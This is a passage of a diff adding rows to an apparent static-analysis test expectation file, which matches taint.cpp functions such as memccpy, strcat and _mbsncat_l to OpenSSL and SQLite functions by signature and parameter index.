+| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb8 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_cfb128 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ctr | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_generic_ofb128 | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_cbc | 3 | +| taint.cpp:548:7:548:13 | memccpy | (PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ecb | 3 | +| taint.cpp:548:7:548:13 | memccpy | (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 3 | +| taint.cpp:548:7:548:13 | memccpy | (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 3 | +| taint.cpp:548:7:548:13 | memccpy | (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 3 | +| taint.cpp:548:7:548:13 | memccpy | (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 3 | +| taint.cpp:548:7:548:13 | memccpy | (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 3 | +| taint.cpp:548:7:548:13 | memccpy | (const ML_DSA_KEY *,int,const uint8_t *,size_t) | | ossl_ml_dsa_mu_init | 3 | +| taint.cpp:548:7:548:13 | memccpy | (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 3 | +| taint.cpp:548:7:548:13 | memccpy | (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_private_key | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int,ENGINE *,const unsigned char *,size_t) | | EVP_PKEY_new_raw_public_key | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int,const regex_t *,char *,size_t) | | jim_regerror | 3 | +| taint.cpp:548:7:548:13 | memccpy | (int,int,size_t,size_t) | | ossl_rand_pool_new | 3 | +| taint.cpp:548:7:548:13 | memccpy | (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 3 | +| taint.cpp:548:7:548:13 | memccpy | (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 2 | +| taint.cpp:548:7:548:13 | memccpy | (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 3 | +| taint.cpp:548:7:548:13 | memccpy | (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 2 | +| taint.cpp:548:7:548:13 | memccpy | (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 3 | +| taint.cpp:548:7:548:13 | memccpy | (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 3 | +| taint.cpp:548:7:548:13 | memccpy | (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 3 | +| taint.cpp:548:7:548:13 | memccpy | (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 3 | +| taint.cpp:558:7:558:12 | strcat | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:558:7:558:12 | strcat | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:558:7:558:12 | strcat | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:558:7:558:12 | strcat | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:558:7:558:12 | strcat | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:558:7:558:12 | strcat | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:558:7:558:12 | strcat | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:558:7:558:12 | strcat | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:558:7:558:12 | strcat | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:558:7:558:12 | strcat | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:558:7:558:12 | strcat | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:558:7:558:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:558:7:558:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:558:7:558:12 | strcat | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:558:7:558:12 | strcat | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:558:7:558:12 | strcat | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:558:7:558:12 | strcat | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:558:7:558:12 | strcat | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:558:7:558:12 | strcat | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:558:7:558:12 | strcat | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:558:7:558:12 | strcat | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:558:7:558:12 | strcat | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:558:7:558:12 | strcat | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:558:7:558:12 | strcat | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:558:7:558:12 | strcat | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:558:7:558:12 | strcat | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:558:7:558:12 | strcat | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:558:7:558:12 | strcat | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:558:7:558:12 | strcat | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:558:7:558:12 | strcat | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:558:7:558:12 | strcat | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:560:6:560:16 | test_strcat | (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 3 | +| taint.cpp:560:6:560:16 | test_strcat | (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 2 | +| taint.cpp:560:6:560:16 | test_strcat | (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 3 | +| taint.cpp:560:6:560:16 | test_strcat | (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 3 | +| taint.cpp:560:6:560:16 | test_strcat | (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 3 | +| taint.cpp:560:6:560:16 | test_strcat | (action **,e_action,symbol *,char *) | | Action_add | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_bio_CMS | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,DH **,pem_password_cb *,void *) | | PEM_read_bio_DHparams | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSA_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,DSA **,pem_password_cb *,void *) | | PEM_read_bio_DSAparams | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_bio_ECPKParameters | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_ECPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_bio_EC_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_bio_PrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_bio | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_bio_NETSCAPE_CERT_SEQUENCE | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_bio_PKCS7 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (DSO *,int,long,void *) | | DSO_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *) | | OPENSSL_LH_doall_arg_thunk | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (QUIC_CHANNEL *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_quic_channel_set_mutator | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (QUIC_RXFC *,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,int,long,void *) | | SSL_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,int,long,void *) | | dtls1_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,int,long,void *) | | ossl_quic_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,int,long,void *) | | ssl3_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | PEM_def_callback | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | PEM_def_callback | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | ossl_pw_pem_password | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | ossl_pw_pem_password | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | ossl_pw_pvk_password | 2 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (char *,int,int,void *) | | ossl_pw_pvk_password | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 3 | +| taint.cpp:570:16:570:25 | _mbsncat_l | (sqlite3 *,const char *,const sqlite3_module 